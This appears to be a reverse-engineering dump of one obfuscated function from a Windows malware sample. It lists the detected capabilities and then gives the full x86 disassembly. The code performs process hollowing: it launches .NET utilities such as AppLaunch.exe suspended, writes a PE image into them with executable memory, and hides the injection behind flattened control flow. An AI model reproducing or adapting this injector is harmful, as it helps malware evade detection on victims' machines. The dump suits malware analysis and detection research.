Function at 0x10005ec0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xfc
mov eax, dword [0x10066800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10067b74]
mov eax, dword [0x10067b70]
mov edx, ecx
sub edx, 0xa755e584
sub edx, 1
add edx, 0xa755e584
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xfe], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xfd], al
mov dword [ebp - 0x104], 0xdb7f3030
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x108], eax
sub eax, 0x80064bf8
je 0x100086a4
jmp 0x10005f3b
mov eax, dword [ebp - 0x108]
sub eax, 0x81f8b3c9
je 0x10007a32
jmp 0x10005f51
mov eax, dword [ebp - 0x108]
sub eax, 0x83609da4
je 0x1000850e
jmp 0x10005f67
mov eax, dword [ebp - 0x108]
sub eax, 0x86671ca5
je 0x1000801d
jmp 0x10005f7d
mov eax, dword [ebp - 0x108]
sub eax, 0x868a164a
je 0x10006e24
jmp 0x10005f93
mov eax, dword [ebp - 0x108]
sub eax, 0x8ac79670
je 0x10007f9d
jmp 0x10005fa9
mov eax, dword [ebp - 0x108]
sub eax, 0x8f4cd647
je 0x10007260
jmp 0x10005fbf
mov eax, dword [ebp - 0x108]
sub eax, 0x933ec100
je 0x100079c3
jmp 0x10005fd5
mov eax, dword [ebp - 0x108]
sub eax, 0x9675b64f
je 0x10007dda
jmp 0x10005feb
mov eax, dword [ebp - 0x108]
sub eax, 0x9ac82a93
je 0x10008601
jmp 0x10006001
mov eax, dword [ebp - 0x108]
sub eax, 0x9f04ba33
je 0x100076e9
jmp 0x10006017
mov eax, dword [ebp - 0x108]
sub eax, 0x9f6659c0
je 0x10006e33
jmp 0x1000602d
mov eax, dword [ebp - 0x108]
sub eax, 0xa0dd7bba
je 0x10007428
jmp 0x10006043
mov eax, dword [ebp - 0x108]
sub eax, 0xa3ccf035
je 0x10007bfc
jmp 0x10006059
mov eax, dword [ebp - 0x108]
sub eax, 0xa51248f0
je 0x10008265
jmp 0x1000606f
mov eax, dword [ebp - 0x108]
sub eax, 0xa6e1924a
je 0x100079a9
jmp 0x10006085
mov eax, dword [ebp - 0x108]
sub eax, 0xa916839d
je 0x100085d1
jmp 0x1000609b
mov eax, dword [ebp - 0x108]
sub eax, 0xb4e04255
je 0x10006fdf
jmp 0x100060b1
mov eax, dword [ebp - 0x108]
sub eax, 0xb68c451d
je 0x10008369
jmp 0x100060c7
mov eax, dword [ebp - 0x108]
sub eax, 0xb75b632e
je 0x10008624
jmp 0x100060dd
mov eax, dword [ebp - 0x108]
sub eax, 0xb82bd0d9
je 0x100079e1
jmp 0x100060f3
mov eax, dword [ebp - 0x108]
sub eax, 0xb9d65432
je 0x10007fd2
jmp 0x10006109
mov eax, dword [ebp - 0x108]
sub eax, 0xbcee6ac6
je 0x10006c3b
jmp 0x1000611f
mov eax, dword [ebp - 0x108]
sub eax, 0xbe587f2d
je 0x10007419
jmp 0x10006135
mov eax, dword [ebp - 0x108]
sub eax, 0xbf8af7a0
je 0x1000851d
jmp 0x1000614b
mov eax, dword [ebp - 0x108]
sub eax, 0xbfc6826f
je 0x10008078
jmp 0x10006161
mov eax, dword [ebp - 0x108]
sub eax, 0xc24acad2
je 0x1000716f
jmp 0x10006177
mov eax, dword [ebp - 0x108]
sub eax, 0xc41a3114
je 0x1000754e
jmp 0x1000618d
mov eax, dword [ebp - 0x108]
sub eax, 0xc591da88
je 0x10006ea9
jmp 0x100061a3
mov eax, dword [ebp - 0x108]
sub eax, 0xc8e36940
je 0x10008701
jmp 0x100061b9
mov eax, dword [ebp - 0x108]
sub eax, 0xcbd62cbc
je 0x10006c2c
jmp 0x100061cf
mov eax, dword [ebp - 0x108]
sub eax, 0xd3f691f6
je 0x100086d7
jmp 0x100061e5
mov eax, dword [ebp - 0x108]
sub eax, 0xd4072791
je 0x100077a0
jmp 0x100061fb
mov eax, dword [ebp - 0x108]
sub eax, 0xd4fe19ce
je 0x10006adc
jmp 0x10006211
mov eax, dword [ebp - 0x108]
sub eax, 0xd62ffc63
je 0x10007ad3
jmp 0x10006227
mov eax, dword [ebp - 0x108]
sub eax, 0xd7897e56
je 0x100076b9
jmp 0x1000623d
mov eax, dword [ebp - 0x108]
sub eax, 0xd7b10642
je 0x10008175
jmp 0x10006253
mov eax, dword [ebp - 0x108]
sub eax, 0xda59af45
je 0x10007366
jmp 0x10006269
mov eax, dword [ebp - 0x108]
sub eax, 0xdb7f3030
je 0x100068f6
jmp 0x1000627f
mov eax, dword [ebp - 0x108]
sub eax, 0xdd9fa0fb
je 0x100086e6
jmp 0x10006295
mov eax, dword [ebp - 0x108]
sub eax, 0xe568c412
je 0x10008758
jmp 0x100062ab
mov eax, dword [ebp - 0x108]
sub eax, 0xe5bdf548
je 0x10007bac
jmp 0x100062c1
mov eax, dword [ebp - 0x108]
sub eax, 0xe660eb31
je 0x10008429
jmp 0x100062d7
mov eax, dword [ebp - 0x108]
sub eax, 0xebe49b90
je 0x100083c9
jmp 0x100062ed
mov eax, dword [ebp - 0x108]
sub eax, 0xef766938
je 0x10006d29
jmp 0x10006303
mov eax, dword [ebp - 0x108]
sub eax, 0xf17a6a9c
je 0x100085e6
jmp 0x10006319
mov eax, dword [ebp - 0x108]
sub eax, 0xf3f2cdc0
je 0x10008069
jmp 0x1000632f
mov eax, dword [ebp - 0x108]
sub eax, 0xf7ef8ea1
je 0x10007526
jmp 0x10006345
mov eax, dword [ebp - 0x108]
sub eax, 0xf8856d66
je 0x10007230
jmp 0x1000635b
mov eax, dword [ebp - 0x108]
sub eax, 0x81de01
je 0x10008489
jmp 0x10006371
mov eax, dword [ebp - 0x108]
sub eax, 0x31cc61b
je 0x10008438
jmp 0x10006387
mov eax, dword [ebp - 0x108]
sub eax, 0x339a5ef
je 0x10007f39
jmp 0x1000639d
mov eax, dword [ebp - 0x108]
sub eax, 0x35edf03
je 0x10007caf
jmp 0x100063b3
mov eax, dword [ebp - 0x108]
sub eax, 0x567e4fc
je 0x1000772a
jmp 0x100063c9
mov eax, dword [ebp - 0x108]
sub eax, 0x6503488
je 0x100080a0
jmp 0x100063df
mov eax, dword [ebp - 0x108]
sub eax, 0x6dec0c5
je 0x10007e1f
jmp 0x100063f5
mov eax, dword [ebp - 0x108]
sub eax, 0xaf5568f
je 0x10008193
jmp 0x1000640b
mov eax, dword [ebp - 0x108]
sub eax, 0xd66e3ac
je 0x10007988
jmp 0x10006421
mov eax, dword [ebp - 0x108]
sub eax, 0x1195ff4c
je 0x10007845
jmp 0x10006437
mov eax, dword [ebp - 0x108]
sub eax, 0x131c5065
je 0x10007099
jmp 0x1000644d
mov eax, dword [ebp - 0x108]
sub eax, 0x1399f40e
je 0x1000702b
jmp 0x10006463
mov eax, dword [ebp - 0x108]
sub eax, 0x143136a6
je 0x10008731
jmp 0x10006479
mov eax, dword [ebp - 0x108]
sub eax, 0x15c938e8
je 0x1000810e
jmp 0x1000648f
mov eax, dword [ebp - 0x108]
sub eax, 0x1a440790
je 0x10007577
jmp 0x100064a5
mov eax, dword [ebp - 0x108]
sub eax, 0x1c97dcb2
je 0x10007d00
mov bl, byte [ebp - 0xfe]
mov dh, byte [ebp - 0xfd]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5ca1cbb1
mov ecx, 0x3806bd0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dword [ebp - 0x104], 0x3f95f824
jmp 0x100087da
mov dword [ebp - 0x104], 0xbcee6ac6
jmp 0x100087da
mov dl, byte [ebp - 0x9d]
mov eax, 0xbf8af7a0
mov ecx, 0x2f016545
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dword [ebp - 0x104], 0x5d74b18e
jmp 0x100087da
mov dword [ebp - 0x104], 0x9f6659c0
jmp 0x100087da
mov ecx, dword [0x10067b74]
mov eax, dword [0x10067b70]
mov edx, ecx
sub edx, 0x720d7b75
sub edx, 1
add edx, 0x720d7b75
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9ac82a93
mov ecx, 0xc591da88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0x91], al
mov ecx, dword [0x10067b74]
mov eax, dword [0x10067b70]
mov edx, ecx
add edx, 0x99b23555
sub edx, 1
sub edx, 0x99b23555
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9ac82a93
mov ecx, 0x29c86b26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0x90]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xe4]
mov byte [eax], cl
mov eax, dword [ebp - 0xe0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dl, byte [eax]
mov eax, 0x1399f40e
mov ecx, 0x7b0996a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0xe0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x3d3821dc
jmp 0x100087da
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
mov edx, eax
sub edx, 0x8efba286
sub edx, 1
add edx, 0x8efba286
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb75b632e
mov ecx, 0x3573b426
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x89], al
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
mov edx, eax
sub edx, 0x36437233
sub edx, 1
add edx, 0x36437233
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7845e65c
mov ecx, 0xf8856d66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dword [ebp - 0x104], 0x213e668f
jmp 0x100087da
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x104], 0x79f72c82
jmp 0x100087da
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x80]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov edx, dword [ebp - 0xd8]
mov eax, 0xa0dd7bba
mov ecx, 0x2582b0ec
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dword [ebp - 0x104], 0xa0dd7bba
jmp 0x100087da
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xec]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10003ca0
add esp, 8
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, 0x8432499c
add ecx, eax
sub ecx, 0x8432499c
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x104], 0xf7ef8ea1
jmp 0x100087da
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov dword [ebp - 0x104], 0xc41a3114
jmp 0x100087da
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x104], 0x1a440790
jmp 0x100087da
mov edx, dword [ebp - 0x74]
mov esi, dword [ebp - 0x70]
mov eax, 0xa6e1924a
mov ecx, 0x1ff98258
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x104], 0x9f04ba33
jmp 0x100087da
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xbc]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x64]
mov eax, 0x502c229b
mov ecx, 0x567e4fc
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov ecx, dword [0x10067b74]
mov eax, dword [0x10067b70]
mov edx, ecx
sub edx, 0x27f16b02
sub edx, 1
add edx, 0x27f16b02
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x80064bf8
mov ecx, 0xd4072791
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x50], eax
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
mov edx, eax
add edx, 0x64e879ce
sub edx, 1
sub edx, 0x64e879ce
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80064bf8
mov ecx, 0x2ad22164
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
sub eax, 0xb5bb459b
sub eax, ecx
add eax, 0xb5bb459b
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x502c229b
jmp 0x100087da
mov ecx, dword [ebp - 0x4c]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0xc41a3114
jmp 0x100087da
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x104], 0x933ec100
jmp 0x100087da
mov edx, dword [ebp - 0x48]
mov eax, 0xaf5568f
mov ecx, 0xb82bd0d9
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
mov edx, eax
sub edx, 0xeb5d4d15
sub edx, 1
add edx, 0xeb5d4d15
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd9fa0fb
mov ecx, 0x81f8b3c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x40], eax
mov ecx, dword [0x10067b74]
mov eax, dword [0x10067b70]
mov edx, ecx
sub edx, 0x303b003b
sub edx, 1
add edx, 0x303b003b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdd9fa0fb
mov ecx, 0x7635ae9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
mov edx, eax
sub edx, 0x620f0507
sub edx, 1
add edx, 0x620f0507
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8e36940
mov ecx, 0x4eb01f18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dl, byte [ebp - 0x3a]
mov eax, 0xaf5568f
mov ecx, 0x2003f1f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dl, byte [ebp - 0x39]
mov eax, 0x26e9632d
mov ecx, 0x450ddc0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
mov edx, eax
add edx, 0xde537b4a
sub edx, 1
sub edx, 0xde537b4a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4e35a051
mov ecx, 0x1c97dcb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0x2c]
movzx edx, word [eax]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0xabadf43f
or edx, ecx
or eax, 0xabadf43f
xor edx, 0xffffffff
and edx, eax
mov eax, 0x33e728bc
mov ecx, 0x6dec0c5
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
mov edx, eax
add edx, 0xfd3fbdb5
sub edx, 1
sub edx, 0xfd3fbdb5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x143136a6
mov ecx, 0x484e6bab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x86671ca5
mov ecx, 0x8ac79670
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0xb0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0xb9d65432
jmp 0x100087da
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x104], 0x86671ca5
jmp 0x100087da
mov dword [ebp - 0x104], 0x33e728bc
jmp 0x100087da
mov dword [ebp - 0x104], 0x35edf03
jmp 0x100087da
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x104], 0x6503488
jmp 0x100087da
mov ecx, dword [0x10067b74]
mov eax, dword [0x10067b70]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe568c412
mov ecx, 0x15c938e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x24]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe568c412
mov ecx, 0xd7b10642
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dword [ebp - 0x104], 0x33d31c2b
jmp 0x100087da
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x104], 0x66c1c895
jmp 0x100087da
mov ecx, dword [0x10067b74]
mov eax, dword [0x10067b70]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2a5a6a4b
mov ecx, 0x63ba95b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dword [ebp - 0x104], 0x34661409
jmp 0x100087da
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
mov edx, eax
add edx, 0xbb8c29a8
sub edx, 1
sub edx, 0xbb8c29a8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36d69ff4
mov ecx, 0xe660eb31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dword [ebp - 0x104], 0x31cc61b
jmp 0x100087da
mov eax, dword [0x10067b74]
mov ecx, dword [0x10067b70]
mov edx, eax
sub edx, 0x578a12e0
sub edx, 1
add edx, 0x578a12e0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3097c13b
mov ecx, 0x81de01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov ecx, dword [0x10067b74]
mov eax, dword [0x10067b70]
mov edx, ecx
add edx, 0x3416e513
sub edx, 1
sub edx, 0x3416e513
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3097c13b
mov ecx, 0x1e9a53f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x100087da
mov dword [ebp - 0x104], 0xbf8af7a0
jmp 0x100087da
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10009100
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
